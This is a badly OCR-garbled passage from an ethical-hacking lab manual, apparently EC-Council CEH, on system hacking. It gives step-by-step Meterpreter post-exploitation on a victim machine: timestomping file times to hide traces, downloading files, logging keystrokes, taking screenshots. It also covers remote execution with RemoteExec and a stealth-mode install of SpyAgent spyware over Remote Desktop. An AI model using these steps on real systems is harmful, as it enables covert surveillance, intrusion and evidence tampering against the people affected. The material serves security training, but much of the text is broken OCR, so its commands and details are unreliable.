UsersifdministraterDewnloads ).

roobfllkall: =

modl flad

E‘a'. FAOOT - exe
desktop.Llnl
gacrat txt
netemeata
1 the dhnschary
Erasek s 3. To read the contents of a text file, wpe eat filename.txt (here,
seeret.tut) 2nd press Enter.
View the : g

Ceontents of a File biltcali- = |
|

-

2314-B3-6A7 11:55

23149-03-B7 11:B3 lfe-
Backdoor . axe
dasktop. Lrd
gacrat .txt
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Change the MACE attribmzes of seeret.exe.

Hrasw 7

Dby e SACE es to read their contents. Upon
Attributes mmediataly, wha mwes an mdicats
somenne has

37. To leave no hint of these MACE attnbuotes, nse the tmestomp
command to changs the attnbuotes as you wish after accessing a file.

38. To view the mace attributes of seeret.txt, type timestomp secret.xt -v
and press Enter. This displays the ted t ed tme, modified
time, and entry modified time, i

Cad v
try Modifisd; 201
srpratar =
Fi M. Vewing i i mufonTEEE
39. Let us change the modified time to 15 june 2012 at 12:57:37.
40. To change the modified tme type timestomp secrettxt -m
“06/15/2012 12:57:37" and press Enter.

root@@kali: =

CiMESTOmE SacreT.OxT

ret.txt -r S15/2612
acific MACE attributes on secret.t=t

a7
o7
sac

CEH Lab Manus] T
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41. Let us change the accessed time to 15 june 2012 at 12:55:05.

42 To change the ac d tme, type timestemp secret.tut -a “06M1152012
12:55:05" and p: nter.

rootikalk: ~

-@3-07
-33-047
i H= - H
natermretar = 11 omp sacrat.tEt -m "BASISS2E12 1Z2:57:37"
: E attributes on secret . txt
i sacret.tait -a "BESISA2G12 12:55:45"
pacific MACE att ributes on secret.txt

=

7.2 Doty the aissce
hange the created time to 12 june 2012 at 12:50:22
44. To change the creared time, type timestomp secret.txt -« “06M22012
12:50:22" and pre:

rootifkali: =

imastomp sacrat.tut
Tlc MACE attribute
omp secrat.tat
ic MACE attributes on s=c

stomp sacretT.tat -c

s change the entry modified time to 15 june 2012 at 13:59:48.

46. To chanpe the entry modified tme, type timestomp secret.ixt -2
S06M5/2012 13:59:48" and press Enter.

roct@kali: ~

AT Wim Pl

Setting specific MACE
2= mestamp = - £ 12 12:55 45"

= timestomp s =) F2B12 12:56:22"
speclfic MAL tri gt T
2 =|timestomp secret, t g "BES1E/2012 13:59:48"
tting speclfic LE attributes on secrat, =t
neterprater =
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Hrasw s
Change the
Present Werking
Direstary (PWD)
and list all the
Files in the

H Lah M
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47. To venfy the changed attnbutes, type timestemp secretixt -v and

Enter.

roati@kali: =
I

ielerpretar =i timestom
Modified 212
fccessead D 23120
raatad v MA1Z-K

ry Modified: 2812-

retar =

[ I
ch T

Ll
N a

43, The ed command changes the present working directory.
the corrent working disectory 15 GiilsersiStudent Dewnload

49. Type ed Ciito

rootif kali: =

13:50:122 +3528
14:55:48 +3538

Eshical Hacking sml
YOuR SeCuiTy iS Not EnOUgh
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directory

FIGIUTRE 7.3E Lixt all the Sles in the prad

Erase s 53. The download command downloads 2 file from the remote machine.

Dewmnlead a File

£, 808 -x (oiMatFEISearp, axs
tup.exa -> dotMetFrifsebup. e

FIGLURE T3% Diremdiacdegr o Ble
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The downloaded file 15 stored in the Heme Folder by defanlt. Chck
Plazes, and ¢

Thai Ma &, 750 P

Computer

£ Home

Bl D kbon

57. The search command he! ! iles on the victim machine. The
mmand is capable of 5 i 1 the whale system or specifie
lders.

e seareh -f “filehame.ext” (here pagefile.sys) and press Enter.

rootigikali: =

] downloaded : dot
search -f pagefile.s
SLT
GapagaTlila.sys) [335594320 byies)

tarpratar =

(CEH Lab Mni] Page 50 Eshical Hacking sml
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pe keysean_start and peess
Hrask 10 mput from the wictim sy
Leg all the Key

strokes

[F35544325 by

sy mreprt

8.1 machene, create a text file and start

Fomuat

numbe

far

keysean_dump and p

rootfkali: = |

2 Heyst roka

neterpratar = kayso

Oumping captured KaysTrokas. ..
L & number is B4 = dand my ema il acceount is rind
sBacks> «Hack> Backs> @gnail .com <Tab> Hack> <Hone= <«

Tl < Ctrle> <iltf=

mmand displays the mumber
on the remote system
rool Dkall: =

s baen idla far:11 min

w e wlle e
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4. Type sereenshet and pres: Enter.
Hrask 11 P i

65. This command captaces the victim™s deskrop and saves the file in root

Take a directory (Heme Falder) by defanlt
Sereenshet of the : ek

Target's Deshkiop reat@kali =

FIGITRE 7,61 Taking & semrmshot of victon nsichine
66. MNawigate o the Home Folder, and double-click the jpep file.

"
Hame

T e

Matesork mrdn afME ot

S — —

FIGLTRE T.&E Vewmg e semend

67. The sezeenshot appears in the defanlt photo wiewer application as
shown in the following sereenshot:

r

FIGURE T.43: Sereenaben of the wictim's Diesitiey
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‘on may shot down the wichm machine after performing post
explomation.

9. Type shutdown and press Enter. This shuts down the wictio machine.

i - Meterpreter session 1 clesad.

The virtual machine 'Windows 8.1" is turned off

To start the virlual machine, sskect ‘St from the Adion meno

Asnalyze and docnment the resnles related 1o thas lab exsrcise. Promde yonr opemon
of yonr tamet’s weonary posmie and exposze thronph public and free infoomation

[ Yes

Platform Supported
[ Classroom
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Lab

BemwreExer remately fotalle abplicanons, ecentes programa scrsbits, and wpelares
iiler and folders on o -“mw-‘ thronghont the netvork.

of

I 0 I
[ ‘l-- -I\. 3
ICON KEY Lab Sce
T Valuahle
infiorenatiom

Aftes gainme access, attackers remotely execite applications on the tarpet machne
These apphcations may mchede spyoace, satoare dowmloadess, advrare, and 50 on

# Testyour that enshle attackers to wmff ont sensitive mformation and canze damage to the
_ boowid et Amckers can nse applications snch 2z RemoweFrec whese ther simphr need

B Wk eare to specify the msi path and the action 1o ake @nstall /monstall/repair /mpdare), select

the tarpet compniters, and bnch the deployment in 2 click
L] Warkbock remien 5

Simniladly, system and secnaty administators can nse these ip]_.].u:.lhD.:".s to perfoom
their da\-m-d:l_— tasks, soch as Pa.ﬂ:hmg and wpdating opesating systems or
application: and deplomng emploTes m:m.n:nf.m.g appleations. As an ethieal hacker
or pmﬁmmu tester, you need to assess the ease with wiuch these tpe of
applications czn be deployed in yons tarpet network.

The objective of this lab is to help smdents to learn how wo:

= » Rnn proprames, scopts, and applicatons remotely nzne RemoteExec

demenstrated in 1 ah Erars I —
LaD Chwvironimen

this lab are D ——

available in To carry om this lab, vor need:
DxiCEH- i iy p _
Toals CEHVE * Windows Serrer 2012 maning as 2 host machme

Module 03 System * Remote Emee Tool locared ar DriCEH-Tools CEHVE Module 05 System
Haeking Hacking ' Teols for Remetely Executing Applications RemsteExee

Windows Server 2008 maning on the wrual machme

download the larest versom of RemoteExec  at
! feorwasdecisions.com/ download / remoreexec him
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Hrasw 1

Install and
Canfigure
RemsteExes

Bl st Rapasiranin:
T gty oA ot

sy ool e iy

Mol

TES ar nacer:

YOuR SeCuiTy iS NOt EnOUgh
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If you wrish to download the Iatest veruon, then screenshots showm m the
lab maght differ
Admemistranme pronleges to mn tools

T
Y Lhurat

: 10 Ahinmges

ion

Overview of RemoteExec
RemoteErec, the oomemal deplover for Alicrosoff Windows systems, allows
netwods admensstratons to mn tasks remotely:
Lab Task
Nawigate to DMCEH-Teels'CEHVS Medule 05 System HackingToels for
Remetely Executing ApplicationsiRemeteExes, and domblechick
RemoteExes_x86.eme.
If an Open File - Seeurity Waming pop-up appears, chck Run.
Choose a lanpnage. and then follow the wizard drven mstallation steps to
sl RemoteFxer.
On complesing the mstllation. lmnch RemeteExee application from the
Apps scoeen
FemoteFrec main window appears.
To confignre execnnng 2 file, doshle chick on Remete jobs option nndes
RemeteExee section.

e |

RematebExes

8§ Rl ciwfgunigg Rendse ks
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Diouble-click on Hew Remete job, under Remate jobs, to confignre and
exemTte 3 new remote job.

Remote jobs
A el Faroda ke

A -

revadenihily
acirlerabe il
plate fask o

vl ae et

o well w o pemdte
mcachzsti

FIGURE 8.2 RertioteFoane conifiggrrng; Meow Rémmc jobs
In a New Remete job section, you can wiew vagons optons, which help mn
Hete = an example of executmg 2 file emotely mung the File execution
option. To execnte, double click File Execution.

MNew remote job

1 = RersatrEsec REnTie okt ew renaie job

D5 By

Copey Bies or fokdeis b remsaie oo
Charge e osl acninmirais
Dsplay & mesicage b

Emciie peaers pohons 0 One pess

Sirprt Coerpesery

FIGALIRE RL%: RemoheFxan: crnfppecng Fie Fomum
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o - e —— 10. Tke File Execution window appears. In the Settings secion specify the

= ———— location of the file that von want to execnze there, rerack_gui.exe, located

Execute a File in DICEM-TeslsiCEMvD Medule 05 Syctem HackingTesls te Create

R Rainbow Tables\RainkowCrack), select Administrative option from
Context drop down list, nncheck Console, and check Aute.

=i, Do fies

pickages m slent rcalr

FICILRE &4 RemotrFan: Fl comatum astayp
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11. Seroll dovn to the Filter section, and follow these steps to confignme the
sectiofn:

1. Select 05 version checkbon, select = from the drop-dovm menn, and
specify the opectng system Windews Vista2008 from the drop-down
kst
Select 05 level checkbox select = from the drop-down menn, and
select the 05 level Server from the doop-down bt

Select Sewviee Pack checkhox, select = from the dmp-dovn mean,
and specify the sermee pack version a5 Serviee pack 1 from the doop-
dioom List.

Select GPU type, and choose w64 processar trpe from the drop-down
L=t

debadt, ResnoieFan: o
muatillal in evalizidhcms

ety oy
File exgculion

FICILTRE &% RervctdFan: Fiirer fal:

12 Zeroll dowmn to Target computers, and click Hame.
13. The Hame pop-np appears

Filg @xgculion

Fvmssabiar Famsts it

FIGUTRE & RernobiFan: File il
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14, Log mro the Windows Server 2008 virmal machine.
15, Click Start (m the lower-left comer), and chek Contral Panel

FIGLRE R T: Tasrwdey Ciorsna Panel

16. Select the Classie View link in the left pane, and donble-click System.

FIGLRE A8 Lamvhasg Syshan Caitsd Paod
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17. The System contool panel appears; note the Cemputer name.

Ve baghs Il rm BT ein & il i ind b OOV

=4
FIGLRE &% Vs #w Comipuies smone

18, Sawitch back to the Windeows Server 2012 host machine.

19. In real-ime, attackers nse scanming tools to find out the hosts that actve on
the network, along with their names. For b demonstation purposes, we
are mieming the computer names directly from the machines,

20. Enter the eomputer name of Windews Server 2008 in the Hame text fisld
choose Computer from the drop-down bst, and chick 0K

|_{",.-cn'|-r;'r.r T

FIGLRE 810 Erseregr tha-Ciwnpuier Megi:
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21. The entered compnter name 1= added to the list of Breet computers.

22 To azecnte the defined action on the remete compnter, click Lawneh link
nnder Quick aceess section located in the Aght pane.

Hrask 2
Exeeute File
Remately using
RemsteExes

R =]

File sxgcuiion

FIGLRE A15: Lauctary Fle Fouben

23. RemoteFxec executes the rerack guiexe fla The stams of the fle &=
displayed m RemoteFxac, as shown in the followng sereenshor

FIGLERE A.12 Fik Bamadad sxawidly
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24 To test the execotion of the apphcanon, switch to Windews Server 2008
virtnal machine linoch Windews Task Manager, and click the Processes
tzb. Ohserve that rerack_gui.exe process will be maning on the machme.

[ ——— — -
|

LT

Aochzatons Frocesoes | zersices | Parformance | Metworing | Users |

Ugr pgme | gy | Memery f | -

0

B Show procecses from ol Lears End Process:

Lji'!:h:-.::o-:e' 47 TR mper =t Pzl Wemp oy <75
it

FIGLFE & 1% File proocrss sl v Windkan ek Meucgeers

. Thms, you have successfully exected an application remotely  nsing
RemoteFxec.

26, In real-time an attacker can exscnte Trojans remotely from has ther machine

Lab Analysis

Amalyze and docnmnent the resnles related to this lab exarcize.

[ Yes FlMNo
Platform Supported
[ Classroom Bl iLabs
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Lab

User System

Surveilla:

e’

SpyAgent

Stk L—J.gwxf & powerfil compuzer 5y softnare that allns you fo mniter
aer) i*’;i.l,g KIerT o on 2 -.‘E’.-'.‘:"""th"."'—I.ln' sl seaith, S .,gw;f_ﬂ.'w'ie.f a large area)
g emential compuider wronierng faatures, ar well ar webnis, abbdiarion, and dhar-
et blockang, fckdonn scheduling, and rensre delvery of Joge wia enmail or FTF.

ICBH KEY

' it Today, employees are given access m a wide acmy of electronic commmnication
= equipment Fonal mstant messagme, global positiomng systems, telephone systems,

¥ Test pomr and mdeo o ﬁiﬂ’ﬁmgm&ra&pﬂtmmmmxﬂ.ﬂmdﬂmm
—momidsr pedormance of their emgployess. Many employees ase provided with a laptop
= i o T computer and mobde phone they can ke home and nse for business ontsade the
Y workplice Whether an employes can measonably expect pevacy when 1 _u1.g snch
c-:u:pm"—.ﬂq}:-a.ed Eupaeat depends, in lupe part on the secnory policy the
emplover has prrin place and made knowm to emplovees.

=] Waddai pavien

In thus lah, we explam the process of montonng enyploes actmmines nang Sprtech
SpyAgeat.

Lab Objectives

The objective of this lab 15 to help stndents nse Spyrech and SpyAgent After
complenng this Iz, smdents mll be able wo:

¥ Insmll and confignre Spytech SpyAgent in 2 monm machine
*  Mlonmor kevstookes typed, webates visted and Internet Traffic Dam
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Lab Environment
To perform ths lab, yon need:

7 Teels

demenstrated in

this lab are Fmn thes tool in Windows Secver 2006 micim maching)

availakle in Z % =

D-\CEH- O, doremload ) :ul:vl_\—te-:'h SprAgent at bt g sprtech-

ToolsiCEHVE el 5 -

Madule 0 System If you wish oo download the Latest version, sereenshots ouay duffer
Haeking

A computer maning Wendows Server 2012

Admnistranme prvleges to msall and ma wools
Lab Duration
Time: 15 Aionres
Overview of the Lab
This lab demonserates smdenrs how to esmblish emote desltop connection with a
vt machine and ma sprang applicanon named SprAgent o secretly track nser
aCtTInes.
This lab wodss only if the mrget machme 15 Tuned OH.
Since you bave seen how to escalate pomileges in the eadher lab (Escalanng
Prmileges by Exploitng Chent Side Vilnerabdines), you wall nse the same
techmane to escalate prmlepes and then dnonp the passwond hashes.
On obmining the hashes, yon will nse passwosd cracking applcation such as
RanbowCack o obtam plain-texr passwrods.

Cince yom have the passorosds handy, yon will establizh 2 Remete Desktop
Conneetion 15 an attacker, m=wll Spriech Sprigeat and leave it in stealth
e
Mote: In this ki, yon are connecting emotely to Windows sames 2006 wirmal
machme. Yom can esmhlish emote connection only for 2 nser acconar thar has
administratve provdeges (here, Jasen mer acconat has administratire promleges,
50 we shall be lopgine i to 1)

5. The nexr task wonld be to log on m virtual machine az a leghimare nser
(here o) and perform nser actrrines waton: bamng zware of the appheation
trackne Fons actvites i backpsonad.

Once done, von will again esmblch 3 Remete Deskiep Connestion as an
attacker, beoing the applicanon out of sealth mode, and monmor the
actrries performed on the mrmal machne by the vietim (yom).
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R L Seltig Search
2. Inthe npht pane of the window, search for Remete Deshtop Connection.
3. Click Rerwate Deshtsp Connection in the Search remlts.

q not=Rop and DeEldngp
AT

'_; t_;“ SOTESS I o)

‘5 Abiows Hemioie Agucisnos
wriations to b sent fnom this T

g SRHOCT UERTE Whs Sa e oy
ekt

q Moo riehpe and desidops

FIGLRE 92 Smnciwy o Remase Dk Cormachion
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The Remote Desktop Connection window opens. Enter the TP address of
Windews Server 2008 (in this lab, 10.0.0.11, vrhich miépht differ in yomr b
ervirmument) i the Computer fisld and chick Shew Optisns

s Remote Deskiop Cannection |_'_|.E—m

./ Remote Desktop
>« Connection

Compuer  [100.011

Lner e Admminstraior

Yow vl bee zeskoedd for credenhsby when you conrect

FIGURE 1% Fxtahishay Renote Dieskerys Conmecsam

[

Enter 2 nzemame pranted admimsstrasme provileges (hese Jasen), and click
Connest

R Remote Desktop Connection |;|_E’m

Remote Desktop
">« Connection

Generzl Digpday | Local Resources Programa | Experance | Advanced
Logon settings
i l' Enterthe rame of the remate compuier

Cimpuled 100011

Ugername:  [laeen

Vou will e asked for credent izl whan you connact

|| Allow me ta sawe credentisls

Conneclian setings
Save the cument connection settingsto an ROF fle oropen o
saved connectian

Bave i Save fa (Iper

= Hide Opliors

FIGURE 1.& Fatalidarig Rerche Dby Ciommactai
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6. The host machine tnes to esmblish 2 Eemote connection with the tarpet
machine
A Windews Security pop-up appears; enter the password (gwerty) and
click OK.

Windows Sacurlty =

These oredenbinds vall be used to connect bo 103

H Uze another account

|| Reemember ey crackintiak

[ or ][ comst

FIGLTRE 9.5 Waicksas Sraserssy igeian

§. A Remeote Deskiop Connection window appears; click Yes.

L Femote Desktop Connection m

! The sdentity of the remole compuler cannot be venlied. Do
_-" you want [0 cormect anyway ?

The r=mote compeat=r could rot bs sulberbcelsd due bo problems wih ids
secunty cerifcats. It mey bs uneafs o procssd

Cendicata nama
—n)  Hame n the cedhicete from the remobs computer

WIN-KIOHOIEMSFR

Certificabe emom

The falowing emom wers encourmiened whils validating tha mmots
camputara catficate:

I, The catificate is not from a tusbed cedifying authety.

L33 o wiart o connec! desplle thees caillicale emam ¢

|| Dont sk me smain for connections b this compuder

Tea J

FRGETRE 5.4 Resnoie Doy Connacsaon weakne
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Mote: Yoo cannot access 2 Remote Desktop Connection if the target machine
15 shot down. Remote Dedatop Connection = posshle only if the macksne 15 n
trrmed 0N

9. A Remote Dedoop connection 13 successfully established, as shown i the

FIGALRE 27 Remots Degdeop Commesym setibihe] naceahly

10, Close the Server Manager windomw.

" raem 2 11 MNavicate to WP Address of Windews Sesver 2012[\CEH-Teosls\CEHVS
B Module 05 Systam HackingSpyware'General SpywareSpytech
Install Spytech SpyAgent and donbleclck Setup.exe.
SpyAgent i it it

-| Dofm purattiad | =] Type
ANTIWVALS USRS -, L10{2002 10: 12, Teod: Do urmen
{E¥ery sovAgent oriins 13/181E008 Zi95 . Intrrat Thert cu
Fila_iclchs 3y 35, DIZFie
[P G et iy Starbed walh L TH 3 AN Incorraab Show ook
e Ay (A2 Tast Docurend
11§ 3124, Teor Document
a L2003 1023 . Apphastion
_;L :'-’I;'l],:‘a?e!‘ﬂ’:.ﬂjm . 1OfLGZ00L4:30. .. [nkerret Shortouk

FICELRE DR Trestalivg Sy Aggers

CEH Lab Munus] Page 522 Eshical Hackdng aull(kluuﬂrnnfunm .I' .-ninn.ryju!.l: :-;. EC-Cammell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not En0Ugh = """ RaCRRAMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Mt (7312 Syt Had g HaCkRhInO-TeaM !

12 If the Cannet access netwerk resewrce dialop-box appears, enter the
credenmals of the host machine and click OK.

Cannot accoess nebmork recource

= Flaas e anber cradendds far 2 usar that can access ks
I:r_l HAecte Mo this resouce

Usar nama; | €7 Ldminstrator = J

Passward: [TITTIL L

FECATRE 9.5 Castriot sccras neranck risoaumcs disbogg b
13. The Spytech SpyAgent Setup window appears; chek Hext.

| =4 spytech Spyagent Sebup E

I Herk s Cencal

FIGLIRE 211k Spyhich Sy Agpe Sebuy wandons
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14, The Welcome vimnd of Spytech SprAgent Sevep program window appears;
read the snstroctions and chick Mesxt.

——

el o i e Spyiech Sppgent Saip pmgian. This progran val katal
Spptech Spubgent on wolr campuier

Itis shionglp recommeanded bt wou e sl Wirdars progiams baloe
frring this Salup program

Chicdt. Cancead bo quit Salup and than dom anp piogrand pou hawss nunning
Chok M=ok bo cordirue with e Sebap program.

WERRIMG: This program is proteched by copyighl s and nisingaoms
Izt

Uratherized reproduchon or d:l:ihulnn of this program. or anp poifian of if
i el i sevaia vl ard ciimingl perakies. and vl be proeecuted to
thee mesdraum edent possibls L ey

< Hack

FICALRE 011 Welizmrsk o]

15 The Impertant Hotes wizard appears; read the note and click Next.

Sppach Spad g

Buldaeon 8013
Coppighl Spuisch Softwars snd Design, I, 2000-2010 3,

v spvbech web. com

sl iz Sputech Spafigeni?

Spplech Spetigert is 8 povwetul and seasdougs ofvase ulbip thaei
oz pou b b al kepsrabes mned, windows s spplicaions
larched. wahees: walad. paaeonds Leed chal corealsalions. ond
=wen al Beemet comveschone mads S1logs ars eaoil wievesd widh e
bl in bog vereete and can be eead 10 @ corranent, az b wewad
e Formnat Far sread rarsferbul in) or prirkcuts, Spedoent oo slo
capluig all emale. 3¢ poed e caphae somenshok: o e deskiop al sel
e inlervas.

Sppdagenk can be ran on randoves 5labup in sclee morfoing mods

= Hack

FIGLRE 502 Topeoriast Mo wemnd
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6 The Software License Agreement tvindouwr appears, you need to acoept the
apreement to menll Spyech Sprdsent
17 S0, click Yes to contiome.

| =d Saftware Licencs Agresment

Plaasa mad e lobowng Licsree Adgaanant Prass the PAGE Dl ey o see tha el of e
sgiEsTIENL

License j
1. You map e the program on & single comnputes 3l one ime - You map nol oo e progian ar_-d
Ancomparning maknale escen! i backip pumcess s in 2upoot of used the pingram on & sdle
maching al o time.

2. You map onloinsldl iz softses on 2 compuler el vou oer, o ona compules hom mhich oy haes
oomant of e ownan kinglal thi 2olkean

3. You map ral make coples of e pogiam bor sale o dishibubion

4, Thiz softwane is copyighled. snd al ights Geensin sre esensed for Spptech Soliwee. Purchase ol

D povy acoask 2l the tamns of tre preceding Lisstes dgiesment? IF poua choose Mo, Gebp will phese, Ta
ezl Thie product. W miet accepd the sgreanant

Beck [ v ][ e
FIGUTRE #.1% Sekocs the A
18. Choose the destination leeation 1o install Spytech SprAgent.
19. Click Next to contmne installation.

Chnase DesHnation Locakan

_—T‘-‘-'l Satup sl indal Sppach Spwsgest in e folinding diacion
EL) secantn maoute: shis T et tathis dacton. clck Hed.
adlirars Spyp e

T retal b cifieren] diacio. ok Browas and seect anothen dachon

Lwrith ' Active ks i A
ot it el S.f:au:m chonse nobkairelal Spplach Sppagect, by cieking Cancallo el

g

Desination Direcion

G Fiogian Files (#3605 pulech S oflmaeSppech Sp Bl

Space Fequied 26RO K
Spena Avelabia 4312330F

 Back Her Cearwal

FIGLRE 0 14: Selrteyy Sobder ki mabillshen
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20 The Select SpyAgent Installation Type wmndow zppears; select the
AdministraterTester setp type.

2. Click Hext
_ =2 Gelect Spyigent Installaton Type

G e (g 0f Satup pou peafer, hen cick Mesd

= AdminetraboyTasler | Program vl b rsaled wih e o sollksan

oplions - ard sccessdble via Wirsdaes sart mar
This g pecammendad a0 o) ne e Help
doraments are imsialied

The . ¢ ™ Shmahirstdlion  Progrem vl be retelsd wih mrimam mcuiesd
(81 prlicah Warming opinns and mo dhorteuts bebaded inWiadoas
Tl:l-\.‘--' g sl s :.1.|! i ehal manu. Alea HELP D ocmeeds ane HOT
by 3 rors h IS TALLED,

Sppbanh Ferren wisdow

Speace Requied: 3580 K
Speca Avalabla 4312530K

¢ Hack Hid 3 Ceronl |

HLRE 2115 Selersirg; Trmssdbesion oo
22 The Ready to Install vandow appears; chick Mext to stact msaliog Spriech
Sprigeat.

| ;'Itl:arhl To Install

Salup riow hes enough inloimalion 10 st inglaled SpHech Spas g

Chch Bark bo make any changes before coninung. Cick Cancel 1o el
Selup

L) Log Locanion: chis
i yrau s sy whees

Fae Spry g i st

£ sty oy For

< Back

FIGLRE T 16: Resely s wvtall wenabonw
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23 The Spytech SpyAgent Setup dialog-box prompt: you to mndude an
uninstaller; chick Yes.

fS-p]t:dt Spyfgent Sckup

9 thoiad o Bka toinclide anurninstalees

FIGURE 9. 17: Selecting an unimstaller
24 A Spytech Spyfgent vandow appears; elose the window,

gk Ry Agand

=] s ot
P ipatgunt PL w170 03

FHALRE 1. 18: Spyech Sy Agent wincknw
25 The A Hotice For Antivirus Users window appesrs; read the notice, and
click Next.

| =4 & MOTICE FOR ANTIVIRUS USERS E

__w Fodkin arniue plograne can delect & wide 1ange of polaniall -]
- ’ cerageious prograns This rormalp goee len begond madbionel woases

and paimre: 2 oflan includes heunsi gk which besicall mears

ek pous can g sley s vesinngr viren en endviug pogam thinks

i1 ceondd bt sometheng

Theie sanngs shoulkd be sipected for the ioliosing hpes of

sppboshons.
Softwmne that loge o capines keyslinkes

- B ans hal mordors s scinay
Coftiare Bt sloaes pau 1o recowel passwords or ather parsoeel dats ™
S ans thal mordois of o IPheinal or redicils Jpisi

Srca Spwgan cae do al ol e aboes some anli-ngg 20 4one may
deem S palioert as 'potentialy harmiu' o 2 tojen’ decpite i b-em &
|egitimeata Tl 10 momita souncomputer [and ueees| wih al Spplach
softyaars. wou can be sus our produdks as 105 wafe o use and wins
e

IF wors n mdo emy “hopen melsled wmnge, & iz vy kel o be s

I ot » Carnal

FIGURE 9.1%: A Motwe For Antrveney Users wimdos
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26. The Finished wmdow appears; nocheck View Help Decumentation, and
click Clese to end the semp.

'_—FEQ Salup e eamples and SpAech Spwsgant (& nos resslad

¥ Fun Spabgent

{1 s Hel Docunertaind

Chch Chozas: b and e Saip

: Beck

FIGLRE 7.31E Frash waudow

7. The Spytech SpyAgent dizlog box appears; click Continue...

worriad shout how your PC is baing used? need to keep tabs
on your children, spouse, =mploy==s - or ju=st need ko reoed
your PCacionsy spysgent is the abard winming solution that
Can pUt yaur ming 3t sase

This window' el bie display'ed upon eYen) run of Spanenc
All monitonng inkarvals during this tnal penod will terminaks
after 30 minutas. This window is diminated in the full version
of SpyAgart. Tha trial perod is also unlimitad a5 wall
sprAgent can be purchased for indivicuzl use or for mulbols
syskems, Chek on bhe Crdenng Information buttan for
information an how you can parchase Chis prageam.

& page will be opered in you wel browser,

FIGUIRE 0.21: spytech Spyd
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23 Step 1 of setp wizard appears; click elick to continue....

I:IJ Spev Ayt can dhedvrr
n acivey ey B et b
o (s pereral anasl o
FTT sesnant

FIGURE %.22 Step | e sctup ortan]

29. Enter a passorosd m the Hew Passwerd feld, and retype the same password
i the Confirm feld

Mote: Here, the passwrord entered is gwerty@123
30, Click oK.

F

I Cld Pesanerdi

Mau Bagsword:

| T

Zonfirmi

Thiz paz=word restricts ather u=ers from
changing the Spyhgan samin gs.

e ) -

FIGLTRE %.2%: Seleching Mo Paswwond

31. The passwerd changed pop-up appears; chick OK

Spwivgent password hes been sucosssfully changed

[ ]

FIGHURE 926 jrisward choged pogiup
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32 Step 2 of Welcome wizard appears, dick elick to continue....

clickta continug.

FIGURE 025 St 2 of Wilerma: wasn)

33. The Cenfigwation section of setup wizard appears; click the complete +
Stealth Configuration mdio button, and chick Mext.
r —

| 1. Configuration

Please select a configuration package
Frum the helow options.

Z. Extras

B toneener Tratme ) I'-'*' Complete + Stealth Configuration
Dhassic This b ALT 3. Confirmn Setings

Configurs to nn intntsl =tealth, with sl pozabl=
FEal lagging oprio ns precontigured.

i Al g o " Complete Confiquration
A POy + Finish -
pawtrile, wehiche Conflqure wich all poseibla logging ppdons
tracvarimn, et will B precardigured,
usggoed by Hies Fenturs
Typical Configuration

Contigurs with the moxt commanly waed logging
options preconfigured.

Em——

FIGRE .26 Con By bwon secham

CEH Lab Manus] Page 530 Ehical Hacking amd Countemseanses Gt © by E-Cemell
Riphts Reemved Rrpms

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnOUgh HAZCRRATO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Ml 81 [Emtés Hatiing HaCkRhInO-TeaM !

34 The Extras section of setnp wizard appears; check Lead on Windows
Startup option, and chick Mext.

L
|
3 . Chooses additional options bo enable for
[ 1+ Eanfiguraticn Spy Agant from the below selections,
| 2- Extras
i [ Send Logs to yourself via Email
3. Confirm Settings

Ll 5oyt s the 4. Apaly

uvipues sty b o waztn

Zend the Spefgant legs to vour emall address
far remote Menitedng.

[T Display &lert an Startup

|5, Finish

v sty boggs et 4 T - -
Y ACITENY KO R, Alsrt the uxer that thay sre bsing monitorsd

when Spyfgant skarts

o s el el
ko o FTP samnan

||-‘ Lvad on Windows swmn]

Set Bpydigent ba Bun everytme your P =
turned o,

e ]

k
FIGILTRE 117 Extras sactim

J5. The Cenfirm settings section of semp wizard appears; click Mext to

. Tha i
@ OPYF
Are v sure you want o conkinue your

| 1+ Sonfiguration configquration? If so, click NEXT.

| 2. Extras Eemingsto be applind

3. Confirm Settings =All logging eptians will he preconfiqured far

pptimal realth
| 4, Apply sUizers will be slers2d Epysgent iz running

| 5. Finish

FIGURE #.28 e st st
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36. The Apply section of semyp wizard appears; click Next.

F

Configurations Appliad!
| 1. Configuration o ZRED

2, Extras All eelectsd mattings have hesn spplisd
ayccasshull gl

3. Confirm Setings
Click FIMIEH 0 finizh the sasy canfiquration

5. Finish

FIGIURE 2,25 Apphy sevtice
37. The Configuration Finished window appears; click Finish o socressinlly
setup Spyéigent.

E

{ configuration Finished!
. Configuration

B syt foea b 2, Extras “ou hav s now succexshully tatup Spyagent! [F pau
wizhto change any settings further chich an the
+ Confirm Setings buttons onthe Gpyasgentinterface formaps
aptans
apeciis: howrs o o, 1. Apply

i ek dinim o ciaTpmder

e L

[nini]

FIGRTRE 5.3 Conhguonon Finsded
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38. The man window of SpyAgent appeac, along with the Step 3 of semp

wrzard
Click Click to contine,...

“y! SpyAgent

o Frogen Fas B Lo A

ke
Fiamals Log Delsary
o ' Pl Cirary
Medvarced Cigtizns

Cogrieni Fliwing

Fillns mw] Boca At s

"' SpyAgent
o Frogen Upas B Loy A

-'ﬁ ﬂ e J Leamng
L ook 3 : : 3
) Fari Lig Daleaiy
Ancm_rmu Ctizng

Comeni Filwing
Fillme mwy Bors fsiisis

Enart Moneonrg Ok =

FIGITRE %.32 Seary mureiceming
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42 The Enter Access Passwerd window appears; enter the passwerd yoo
specified m step 31 (o thes bib, qwertyi123), and chck 0K
o I * Chck e s =
‘ ?_:- Swﬁge |'|t 3 G hariimg lrdrrrrsal by m

ol Pveigran Cptis

Lopgng
Lznlpre g Dyt

A A Ml Wi b Vil
i e Lt Semw ey 0 Bredons s

Bururie Log Daluossy

rhyprn Sorads el
Adwuiord Oplens
Contar Fikerng
Filer g Hizsh Acfary
el R
Emanl eggisg
Bahaduling
Sohed ds Monkoomy Tems

Bshmitor Alerin
Heal s holudy Aird

5‘.ari Marmaring CACL "Hrart Morw AT 10 ST MOnonrg Leer aotkates

FIGLURE 9.3% Enbenn, el

43. The Stealth Netice window appears; read the mstmenons, and chick OH
Mote: To bring SpyAgent oot of stealth mode, press Ctri+ShiftrAICM.

[{Skealkh Mok ice

This m=ssage wil nok app=ar again
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44 A SpyAgent pop-up appears. Check Do not shew this. Help Tip again and
D& nat show Related Help Tips like this again, click elick ts continse...

I:lJ Spv et beshors &
birpe sek of peportgy acwake
St allirw yra bz s sl
oo kyribt e
|
prrang Al mpmats e
Frmeasal vt HTMI. hoor
ko mowgr wmth pour -
[=—

